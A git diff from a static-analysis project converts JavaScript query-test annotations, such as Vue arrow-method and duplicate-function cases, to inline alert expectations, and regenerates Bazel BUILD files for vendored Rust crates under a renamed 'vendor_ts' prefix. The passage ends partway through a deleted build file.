 	function h(p = false) {
 		(function() {
-			if (p) { // OK, whitelisted
+			if (p) { // OK - whitelisted
 
 			}
 		});
diff --git a/javascript/ql/test/query-tests/Vue/ArrowMethodOnVueInstance.qlref b/javascript/ql/test/query-tests/Vue/ArrowMethodOnVueInstance.qlref
index 1203930af866..71d385452e8f 100644
--- a/javascript/ql/test/query-tests/Vue/ArrowMethodOnVueInstance.qlref
+++ b/javascript/ql/test/query-tests/Vue/ArrowMethodOnVueInstance.qlref
@@ -1 +1,2 @@
-Vue/ArrowMethodOnVueInstance.ql
\ No newline at end of file
+query: Vue/ArrowMethodOnVueInstance.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Vue/tst.js b/javascript/ql/test/query-tests/Vue/tst.js
index 27fe31488cbf..f0889596112a 100644
--- a/javascript/ql/test/query-tests/Vue/tst.js
+++ b/javascript/ql/test/query-tests/Vue/tst.js
@@ -1,16 +1,16 @@
 let Vue = require('vue');
 
 new Vue( {
-	created: () => this, // NOT OK
+	created: () => this, // $ Alert
 	computed: {
-		x: () => this, // NOT OK
-		y: { get: () => this }, // NOT OK
-		z: { set: () => this } // NOT OK
+		x: () => this, // $ Alert
+		y: { get: () => this }, // $ Alert
+		z: { set: () => this } // $ Alert
 	},
 	methods: {
-		arrow: () => this, // NOT OK
-		nonArrow: function() { this; }, // OK
-		arrowWithoutThis: () => 42, // OK
-		arrowWithNestedThis: () => (() => this) // OK
+		arrow: () => this, // $ Alert
+		nonArrow: function() { this; },
+		arrowWithoutThis: () => 42,
+		arrowWithNestedThis: () => (() => this)
 	}
 });
diff --git a/javascript/ql/test/query-tests/WrongExtensionJSON/WrongExtensionJSON.qlref b/javascript/ql/test/query-tests/WrongExtensionJSON/WrongExtensionJSON.qlref
index d56ea60e9fdd..a93cc8ddc977 100644
--- a/javascript/ql/test/query-tests/WrongExtensionJSON/WrongExtensionJSON.qlref
+++ b/javascript/ql/test/query-tests/WrongExtensionJSON/WrongExtensionJSON.qlref
@@ -1 +1 @@
-LanguageFeatures/WrongExtensionJSON.ql
\ No newline at end of file
+query: LanguageFeatures/WrongExtensionJSON.ql
diff --git a/javascript/ql/test/query-tests/WrongExtensionJSON/tst1.js b/javascript/ql/test/query-tests/WrongExtensionJSON/tst1.js
index 5741191d62d3..fef5cb07408f 100644
--- a/javascript/ql/test/query-tests/WrongExtensionJSON/tst1.js
+++ b/javascript/ql/test/query-tests/WrongExtensionJSON/tst1.js
@@ -1,3 +1,3 @@
 {
   "x": 42
-}
\ No newline at end of file
+} // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/external/DuplicateFunction/DuplicateFunction.qlref b/javascript/ql/test/query-tests/external/DuplicateFunction/DuplicateFunction.qlref
index cb39dcf5719c..66276914680d 100644
--- a/javascript/ql/test/query-tests/external/DuplicateFunction/DuplicateFunction.qlref
+++ b/javascript/ql/test/query-tests/external/DuplicateFunction/DuplicateFunction.qlref
@@ -1 +1,2 @@
-external/DuplicateFunction.ql
\ No newline at end of file
+query: external/DuplicateFunction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/external/DuplicateFunction/d/tst.js b/javascript/ql/test/query-tests/external/DuplicateFunction/d/tst.js
index e6c6509eca6e..652853b992e9 100644
--- a/javascript/ql/test/query-tests/external/DuplicateFunction/d/tst.js
+++ b/javascript/ql/test/query-tests/external/DuplicateFunction/d/tst.js
@@ -31,7 +31,7 @@ var g2 = function() {
 	return arguments[0] * arguments[1];
 }
 
-// OK: only five statements
+// OK - only five statements
 function h() {
 	if (arguments.length == 0)
 		return 23;
diff --git a/javascript/ql/test/query-tests/external/DuplicateToplevel/DuplicateToplevel.qlref b/javascript/ql/test/query-tests/external/DuplicateToplevel/DuplicateToplevel.qlref
index c295d00ec6d4..476c8ffb823d 100644
--- a/javascript/ql/test/query-tests/external/DuplicateToplevel/DuplicateToplevel.qlref
+++ b/javascript/ql/test/query-tests/external/DuplicateToplevel/DuplicateToplevel.qlref
@@ -1 +1,2 @@
-external/DuplicateToplevel.ql
\ No newline at end of file
+query: external/DuplicateToplevel.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/external/SimilarFunction/SimilarFunction.qlref b/javascript/ql/test/query-tests/external/SimilarFunction/SimilarFunction.qlref
index 6b4f3db02847..35c422516f5a 100644
--- a/javascript/ql/test/query-tests/external/SimilarFunction/SimilarFunction.qlref
+++ b/javascript/ql/test/query-tests/external/SimilarFunction/SimilarFunction.qlref
@@ -1 +1,2 @@
-external/SimilarFunction.ql
\ No newline at end of file
+query: external/SimilarFunction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/external/SimilarToplevel/SimilarToplevel.qlref b/javascript/ql/test/query-tests/external/SimilarToplevel/SimilarToplevel.qlref
index c42b2ee3ded1..42de32840c62 100644
--- a/javascript/ql/test/query-tests/external/SimilarToplevel/SimilarToplevel.qlref
+++ b/javascript/ql/test/query-tests/external/SimilarToplevel/SimilarToplevel.qlref
@@ -1 +1,2 @@
-external/SimilarToplevel.ql
\ No newline at end of file
+query: external/SimilarToplevel.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/misc/bazel/3rdparty/BUILD.bazel b/misc/bazel/3rdparty/BUILD.bazel
index 9855fdb1164f..4e12f92edee7 100644
--- a/misc/bazel/3rdparty/BUILD.bazel
+++ b/misc/bazel/3rdparty/BUILD.bazel
@@ -15,7 +15,7 @@ crates_vendor(
         "//shared/tree-sitter-extractor:Cargo.toml",
     ],
     mode = "remote",
-    repository_name = "vendor",
+    repository_name = "vendor_ts",
     tags = ["manual"],
     vendor_path = "tree_sitter_extractors_deps",
 )
diff --git a/misc/bazel/3rdparty/py_deps/BUILD.bazel b/misc/bazel/3rdparty/py_deps/BUILD.bazel
index 541a99c9d746..f756b4a519f7 100644
--- a/misc/bazel/3rdparty/py_deps/BUILD.bazel
+++ b/misc/bazel/3rdparty/py_deps/BUILD.bazel
@@ -43,6 +43,18 @@ alias(
     tags = ["manual"],
 )
 
+alias(
+    name = "cc-1.2.14",
+    actual = "@vendor_py__cc-1.2.14//:cc",
+    tags = ["manual"],
+)
+
+alias(
+    name = "cc",
+    actual = "@vendor_py__cc-1.2.14//:cc",
+    tags = ["manual"],
+)
+
 alias(
     name = "clap-4.5.30",
     actual = "@vendor_py__clap-4.5.30//:clap",
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.aho-corasick-1.1.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.aho-corasick-1.1.3.bazel
index 37d0f615d9ff..cade1a4cb938 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.aho-corasick-1.1.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.aho-corasick-1.1.3.bazel
@@ -86,6 +86,6 @@ rust_library(
     }),
     version = "1.1.3",
     deps = [
-        "@vendor__memchr-2.7.4//:memchr",
+        "@vendor_ts__memchr-2.7.4//:memchr",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.allocator-api2-0.2.21.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.allocator-api2-0.2.21.bazel
new file mode 100644
index 000000000000..4d4616ad0496
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.allocator-api2-0.2.21.bazel
@@ -0,0 +1,86 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "allocator_api2",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=allocator-api2",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.2.21",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.always-assert-0.2.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.always-assert-0.2.0.bazel
deleted file mode 100644
index d95cf3dfd87a..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.always-assert-0.2.0.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "always_assert",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "tracing",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=always-assert",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.2.0",
-    deps = [
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.android_system_properties-0.1.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.android_system_properties-0.1.5.bazel
index 700ea1d12517..a6d0823636ee 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.android_system_properties-0.1.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.android_system_properties-0.1.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.1.5",
     deps = [
-        "@vendor__libc-0.2.169//:libc",
+        "@vendor_ts__libc-0.2.169//:libc",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstream-0.6.18.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstream-0.6.18.bazel
index d317a8b4049c..3221dab6e8ba 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstream-0.6.18.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstream-0.6.18.bazel
@@ -86,21 +86,21 @@ rust_library(
     }),
     version = "0.6.18",
     deps = [
-        "@vendor__anstyle-1.0.10//:anstyle",
-        "@vendor__anstyle-parse-0.2.6//:anstyle_parse",
-        "@vendor__anstyle-query-1.1.2//:anstyle_query",
-        "@vendor__colorchoice-1.0.3//:colorchoice",
-        "@vendor__is_terminal_polyfill-1.70.1//:is_terminal_polyfill",
-        "@vendor__utf8parse-0.2.2//:utf8parse",
+        "@vendor_ts__anstyle-1.0.10//:anstyle",
+        "@vendor_ts__anstyle-parse-0.2.6//:anstyle_parse",
+        "@vendor_ts__anstyle-query-1.1.2//:anstyle_query",
+        "@vendor_ts__colorchoice-1.0.3//:colorchoice",
+        "@vendor_ts__is_terminal_polyfill-1.70.1//:is_terminal_polyfill",
+        "@vendor_ts__utf8parse-0.2.2//:utf8parse",
     ] + select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__anstyle-wincon-3.0.6//:anstyle_wincon",  # aarch64-pc-windows-msvc
+            "@vendor_ts__anstyle-wincon-3.0.7//:anstyle_wincon",  # aarch64-pc-windows-msvc
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__anstyle-wincon-3.0.6//:anstyle_wincon",  # i686-pc-windows-msvc
+            "@vendor_ts__anstyle-wincon-3.0.7//:anstyle_wincon",  # i686-pc-windows-msvc
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__anstyle-wincon-3.0.6//:anstyle_wincon",  # x86_64-pc-windows-msvc
+            "@vendor_ts__anstyle-wincon-3.0.7//:anstyle_wincon",  # x86_64-pc-windows-msvc
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-parse-0.2.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-parse-0.2.6.bazel
index 5f1a8e7b478c..afc929f16948 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-parse-0.2.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-parse-0.2.6.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "0.2.6",
     deps = [
-        "@vendor__utf8parse-0.2.2//:utf8parse",
+        "@vendor_ts__utf8parse-0.2.2//:utf8parse",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-query-1.1.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-query-1.1.2.bazel
index 1256ede91579..2c8e86e0445e 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-query-1.1.2.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-query-1.1.2.bazel
@@ -82,13 +82,13 @@ rust_library(
     version = "1.1.2",
     deps = select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-wincon-3.0.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-wincon-3.0.6.bazel
deleted file mode 100644
index 6490cd9011e8..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-wincon-3.0.6.bazel
+++ /dev/null
@@ -1,97 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "anstyle_wincon",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=anstyle-wincon",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "3.0.6",
-    deps = [
-        "@vendor__anstyle-1.0.10//:anstyle",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-wincon-3.0.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-wincon-3.0.7.bazel
new file mode 100644
index 000000000000..b3491e3a0594
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anstyle-wincon-3.0.7.bazel
@@ -0,0 +1,100 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "anstyle_wincon",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=anstyle-wincon",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "3.0.7",
+    deps = [
+        "@vendor_ts__anstyle-1.0.10//:anstyle",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__once_cell-1.20.3//:once_cell",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__once_cell-1.20.3//:once_cell",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__once_cell-1.20.3//:once_cell",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "//conditions:default": [],
+    }),
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.95.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.95.bazel
deleted file mode 100644
index 30ee807dacf3..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.95.bazel
+++ /dev/null
@@ -1,150 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "anyhow",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
